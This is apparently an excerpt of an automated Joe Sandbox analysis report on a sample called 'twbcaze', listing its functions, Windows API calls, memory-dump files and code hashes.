Opcode ID: f9072bed2894d461a612be17e23af7c58d594345834647678f603cfa8b89610f
Instruction ID: 2bbf1eba4325091a8f805affcf2631c9889cc8d83d0959772aab057c07b2e122
Opcode Fuzzy Hash: f9072bed2894d461a612be17e23af7c58d594345834647678f603cfa8b89610f
Instruction Fuzzy Hash: 6FE09231641228B7DF113F51EC05EDE7F16EB44BA0F508066FA1815171CB754861ABD8

Uniqueness

Uniqueness Score: -1.00%

Function 0041B6A2 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsAlloc.KERNEL32 ref: 0041B6D6

Strings

FlsAlloc, xrefs: 0041B6B2

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: b40d68b16dcda4e9474c7c98bf42229f5c6d560e9727103d880ce395b472c8ac
Instruction ID: 2f77c67e21683032b7867c90a944dd36eb87b62326515653e0abd7e7556b6c66
Opcode Fuzzy Hash: b40d68b16dcda4e9474c7c98bf42229f5c6d560e9727103d880ce395b472c8ac
Instruction Fuzzy Hash: 8DE0C231B8223467822136527D06ADEBE05DB70BE0B514027F90861241DFA948818ADE

Uniqueness

Uniqueness Score: -1.00%

Function 0041C5EA Relevance: 3.2, APIs: 2, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041C7DD: GetOEMCP.KERNEL32(00000000,0041C96E,00000000,00000000,0042190B,0042190B,00000000,00000000,00000000), ref: 0041C808

IsValidCodePage.KERNEL32(-00000030,00000000,?,00000000,?,?,0041C9B5,00000000,00000000,00000000,?,00000000,?,?,?,0042190B), ref: 0041C648
GetCPInfo.KERNEL32(00000000,0041C9B5,?,?,0041C9B5,00000000,00000000,00000000,?,00000000,?,?,?,0042190B,00000000,00000000), ref: 0041C68A

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 0c3d3d7acd6dd14b59517c8ab4072126db1735044733578a7a9a37ad46e82433
Instruction ID: 7c52d88972ac2dace6bcdf081ad171f92710c8c916e3215b7aff95bd971f8e57
Opcode Fuzzy Hash: 0c3d3d7acd6dd14b59517c8ab4072126db1735044733578a7a9a37ad46e82433
Instruction Fuzzy Hash: 9F510370A803469EDB218F66CCC16FBBBE5AF51304F14406FD09687291E7B89982CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0042213A Relevance: 3.1, APIs: 2, Instructions: 67
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00432FF0,?,?,?,004220C2,00000004,InitializeCriticalSectionEx,00429534,0042953C,00000000,?,0041A94C,00432FF0,00000FA0), ref: 004221BD
GetProcAddress.KERNEL32(00000000,?,?,00432FF0,?,?,?,004220C2,00000004,InitializeCriticalSectionEx,00429534,0042953C,00000000,?,0041A94C,00432FF0), ref: 004221C7

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: 5e6590639f837f3f74b4bd3a25c60f29f496a02501eb8b08b72b8ada3bcd0099
Instruction ID: 309f8aec9f5dc071c213e6da4586d0d84bc111e18403b1771997db904bcccf5e
Opcode Fuzzy Hash: 5e6590639f837f3f74b4bd3a25c60f29f496a02501eb8b08b72b8ada3bcd0099
Instruction Fuzzy Hash: 00117F36701125BF9F22CF54ED80DAA73A4EB463507940266EA01DB350E674EE62CB99

Uniqueness

Uniqueness Score: -1.00%

Function 004199D4 Relevance: 3.0, APIs: 2, Instructions: 19
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 004199F2
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 004199FD

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptd
String ID:
API String ID: 1660781231-0
Opcode ID: 95239937f6728c2ab273cbb288612d97b27c62561239d8ac005eaa4639cae67a
Instruction ID: b388f827fee2bdd613f80f24e28f98c854151017074bbf60c3304b4d43f3c84a
Opcode Fuzzy Hash: 95239937f6728c2ab273cbb288612d97b27c62561239d8ac005eaa4639cae67a
Instruction Fuzzy Hash: 41D0A775704383648D1436B239335DB22842C11BF43B0134FE020852D2FB9C88C4601D

Uniqueness

Uniqueness Score: -1.00%

Function 0041BAB5 Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efe380341a0ec7d5170a2d1c18936f96d49b48d58a511d61a9babb171d4075cd
Instruction ID: d90ecc263459b9024e9a5ab86625f60e66499811c376325d538ba221564ca309
Opcode Fuzzy Hash: efe380341a0ec7d5170a2d1c18936f96d49b48d58a511d61a9babb171d4075cd
Instruction Fuzzy Hash: 0301F5337042116F9B168E6AED80ADB33D6EB843607144126F905CB668EB38E88687D9

Uniqueness

Uniqueness Score: -1.00%

Function 00420C7F Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 0041BD43: RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,0041B00A,00000001,00000364,00000005,000000FF,?,?,?,0041531C,0041ACE4,?), ref: 0041BD84

_free.LIBCMT ref: 00420CEE

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: ca24e7fb0318055d8d14544885d4b33f3381520c0c2db4bc62b6f3ec6a8be3c9
Instruction ID: e859af2a5ef6ee809bec15339cd08cbb7ee5ae1fd0eb6685ca64927a6fa89387
Opcode Fuzzy Hash: ca24e7fb0318055d8d14544885d4b33f3381520c0c2db4bc62b6f3ec6a8be3c9
Instruction Fuzzy Hash: 91012BB26043266BC3208F6AD481ACAFBD8FB04770F54072EE555A77C1E3746810C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00230838 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 002307DA: GetSystemInfo.KERNELBASE(?), ref: 002307F7

VirtualAllocExNuma.KERNELBASE(00000000), ref: 0023089D

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocInfoNumaSystemVirtual
String ID:
API String ID: 449148690-0
Opcode ID: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
Instruction ID: f31b1920cab429323816aaa73a1dcd5f9a0a2f8b694d18ebbeaa0ff08696d504
Opcode Fuzzy Hash: 5104fe00cea5b6b43bfce270a0a2c81ff317ca7eb47637b87448d486c4f4107a
Instruction Fuzzy Hash: 6CF036F0D64309BEEB147BF08CABB6DB6789F00701F104595BA40B61C3DA785A208EB9

Uniqueness

Uniqueness Score: -1.00%

Function 0041BD43 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,00000000,00000000,?,0041B00A,00000001,00000364,00000005,000000FF,?,?,?,0041531C,0041ACE4,?), ref: 0041BD84

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4518dd0a2feec861e08341a654e625ee5977cd5c18c16e7c700ed9ce5b085929
Instruction ID: c559202f84c89cc676257c6e14c9c7052fb4074db409f4c442a073e6ba8dcb46
Opcode Fuzzy Hash: 4518dd0a2feec861e08341a654e625ee5977cd5c18c16e7c700ed9ce5b085929
Instruction Fuzzy Hash: F7F0E931640628A7DB296F22BC01BDF3758EF417A0B198127AC18D7290CB28DC8186EC

Uniqueness

Uniqueness Score: -1.00%

Function 0041ACA1 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,?,?,0040E0E2,?,?,00401942,00000000,?,00401851), ref: 0041ACD3

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 312f93da3f20f1bf995cafa9908406634ba9ab6ab0ad3f1a4bd5593490ff2293
Instruction ID: 6ad9cb94f8624884a5fba2963b8d04d3184dc4183697b6faf1641f4fbdd2e650
Opcode Fuzzy Hash: 312f93da3f20f1bf995cafa9908406634ba9ab6ab0ad3f1a4bd5593490ff2293
Instruction Fuzzy Hash: 4AE0ED3120262197DB213A6A9C04BDB3A48AF413A1F190167AC1497290FB68CCE1A2EF

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8C7 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNELBASE(?,00000FA0,00000000), ref: 0040F8D5

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: 36b25f4602481f61584a5de2f85143af6d147a148cb4cdad9f560f8bbfb345e5
Instruction ID: 760cff598c0ffdcda0dee0a134f1822bc451b676202f3ab48e013d8b785bf01b
Opcode Fuzzy Hash: 36b25f4602481f61584a5de2f85143af6d147a148cb4cdad9f560f8bbfb345e5
Instruction Fuzzy Hash: 03B09270289248BEDF214B61FC06FB87F209B82740F50016AF54EA88F2C6A214629E0A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F8C8 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

InitializeCriticalSectionEx.KERNELBASE(?,00000FA0,00000000), ref: 0040F8D5

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection
String ID:
API String ID: 32694325-0
Opcode ID: e131c9beb6c6debaa7ce301fc3837ef45f21eb32382bac0d7cf9ab0fc3dcdcfa
Instruction ID: 53b1aa524083811a7940a92cdcfe98958b27ed318f9b9838b95bcab2cc1fd6e0
Opcode Fuzzy Hash: e131c9beb6c6debaa7ce301fc3837ef45f21eb32382bac0d7cf9ab0fc3dcdcfa
Instruction Fuzzy Hash: 8CB0127038430CBBDE201B42FC06F647F1CDB42B50F800031F60C584F18BA27462598E

Uniqueness

Uniqueness Score: -1.00%

Function 0023073A Relevance: 1.3, APIs: 1, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17D78400,00003000,00000004), ref: 00230777

Memory Dump Source

Source File: 00000006.00000002.353557579.0000000000230000.00000040.00001000.00020000.00000000.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_230000_twbcaze.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
Instruction ID: 89578fef44c9edde2976b96be7d803d835a2fae15866aa791ca6f347d65c1efd
Opcode Fuzzy Hash: fefa28e21f4d9309c1ecd3ac6253e750ecc73c234d91debfceddd181198d7f09
Instruction Fuzzy Hash: 081106B0D10219AFDB04EFA8CC99BAEFBB4EB04304F208495E915B7291D2755A548FA4

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0041FF3D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,0041F91C,00000002,00000000,?,?,?,0041F91C,?,00000000), ref: 0041FFD6
GetLocaleInfoW.KERNEL32(00000000,20001004,0041F91C,00000002,00000000,?,?,?,0041F91C,?,00000000), ref: 0041FFFF
GetACP.KERNEL32(?,?,0041F91C,?,00000000), ref: 00420014

Strings

ACP, xrefs: 0041FF5B
OCP, xrefs: 0041FF91

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: df216761bba3a61558e4d0c2f5230fed2d25ec901e075f517e6ef4b9634f3f20
Instruction ID: 1b401f6d518fe2f060409384912976397a41c3c398af64b9d02de9e00f52b45e
Opcode Fuzzy Hash: df216761bba3a61558e4d0c2f5230fed2d25ec901e075f517e6ef4b9634f3f20
Instruction Fuzzy Hash: 4921B372B00110AAEB34CF15E900BD7B3A6BB55B64B968437E806D7201E776DE87C368

Uniqueness

Uniqueness Score: -1.00%

Function 0041F7D3 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AECA
Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AF00

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0041F8DF
IsValidCodePage.KERNEL32(00000000), ref: 0041F928
IsValidLocale.KERNEL32(?,00000001), ref: 0041F937
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0041F97F
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0041F99E

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 4450b43d476ebd8749d984c17ed601da3922cdb14badebefc068301d31160f09
Instruction ID: 7e664b6f5e4f920847f2175219db3c0f79883923b7aa8754a8eb1c8ce9724d0e
Opcode Fuzzy Hash: 4450b43d476ebd8749d984c17ed601da3922cdb14badebefc068301d31160f09
Instruction Fuzzy Hash: 385172B1A00205AEEB10EFA5DC41BEB77B8BF04704F14447BE505E7291E778998ACB69

Uniqueness

Uniqueness Score: -1.00%

Function 0040F709 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040F715
IsDebuggerPresent.KERNEL32 ref: 0040F7E1
SetUnhandledExceptionFilter.KERNEL32 ref: 0040F801
UnhandledExceptionFilter.KERNEL32(?), ref: 0040F80B

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 92d171cdb7cb6d76cddd416fc18485c383169333c85ecc22f5dfc94481a58bc5
Instruction ID: a2186bf3e758ef2dc04a5ba889b604cd713b75795d90941758fdbf2878431c07
Opcode Fuzzy Hash: 92d171cdb7cb6d76cddd416fc18485c383169333c85ecc22f5dfc94481a58bc5
Instruction Fuzzy Hash: 09311AB5D012189BDF60EFA5D9897CDBBB8BF08304F1041BAE40DA7290EB755A85CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041FAC4 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AECA
Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AF00

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041FB18
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041FB62
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041FC28

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast_free
String ID:
API String ID: 3140898709-0
Opcode ID: c9e66a47e9dcce08395d24c0a0bc0a7c348b3432911b7095e2b59eef629d9b1c
Instruction ID: 65ecd40137fe6b4f3b18d46bc5ae155ef0a382def28203f71d6c2093bf5f65f3
Opcode Fuzzy Hash: c9e66a47e9dcce08395d24c0a0bc0a7c348b3432911b7095e2b59eef629d9b1c
Instruction Fuzzy Hash: 8A61627150421B9BDB249F25D892BE677A8FF04314F14807BED06C6285F738E9C6DB58

Uniqueness

Uniqueness Score: -1.00%

Function 004156E6 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 004157DE
SetUnhandledExceptionFilter.KERNEL32 ref: 004157E8
UnhandledExceptionFilter.KERNEL32(0040E790), ref: 004157F5

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 66b54a4f5fa8bd941c2e71a588356a4736ee2f5a83fa318b13daa1e7aeff5363
Instruction ID: 0dde07209dfff96d70bba044140d6ead9c002d577b93866162e4f22fccfde345
Opcode Fuzzy Hash: 66b54a4f5fa8bd941c2e71a588356a4736ee2f5a83fa318b13daa1e7aeff5363
Instruction Fuzzy Hash: E831C6B4901218EBCB21EF65D9897CDBBB4BF48310F5045EAE41CA72A0E7749F858F49

Uniqueness

Uniqueness Score: -1.00%

Function 004132A3 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0040E8B6,?,0041335B,00000004,00000000,0040E8B6,00000004,0040E8B6,00000000), ref: 004132C5
TerminateProcess.KERNEL32(00000000,?,0041335B,00000004,00000000,0040E8B6,00000004,0040E8B6,00000000), ref: 004132CC
ExitProcess.KERNEL32 ref: 004132DE

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e9f30ef7f058bfcb92595cb5ecd326114696ab5173aaa3a0b9c26b3da9d31081
Instruction ID: 669fa4add18d7d506d1f369d8e27cfdf62f79ebbebf5758064ee3c4fa42b6d56
Opcode Fuzzy Hash: e9f30ef7f058bfcb92595cb5ecd326114696ab5173aaa3a0b9c26b3da9d31081
Instruction Fuzzy Hash: 32E0EC71201248AFCF217F56DD099C93B69FF45752B804466F80596232CB79EED2CB8C

Uniqueness

Uniqueness Score: -1.00%

Function 0040F496 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040F4AC

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: e18d4502850a283a2bc9f2affa6179b4a73d75b53ed98199151f2e822a03349d
Instruction ID: 25393b13f6cf6b1be926e12024bfbac8d582d53e7fc82ae2a865a5802fcf0590
Opcode Fuzzy Hash: e18d4502850a283a2bc9f2affa6179b4a73d75b53ed98199151f2e822a03349d
Instruction Fuzzy Hash: 3051B0B1A102159FDB24CF69D9817AABBF0FB48714F24C43AC404EB3A0E379A904CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041FD76 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AECA
Part of subcall function 0041AE68: _free.LIBCMT ref: 0041AF00

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0041FDCA

Memory Dump Source

Source File: 00000006.00000002.353572062.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.353569749.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353575871.0000000000426000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.353583167.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_twbcaze.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: ca4cc948e7cac62821100280396542b5b8790cd7ca5c2616e5165290a72708b7
Instruction ID: 10d55a3d9dcdfbb2ee4bf10709a2db1c01cb4fc842f04bee9b6b8bffb745b34f
Opcode Fuzzy Hash: ca4cc948e7cac62821100280396542b5b8790cd7ca5c2616e5165290a72708b7
Instruction Fuzzy Hash: 0121B672611306ABDB289A25DC41AFB77A8EF04318F10407FFD06D6252E738AD86C759

Uniqueness

Uniqueness Score: -1.00%

Function 0041FA29 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041AE68: GetLastError.KERNEL32(?,00000004,00000008,0041CF9A), ref: 0041AE6D
Part of subcall function 0041AE68: SetLastError.KERNEL32(00000000,00000005,000000FF), ref: 0041AF0B

EnumSystemLocalesW.KERNEL32(0041FAC4,00000001,00000000,?,-00000050,?,0041F8B3,00000000,-00000002,00000000,?,00000055,?), ref: 0041FA9B

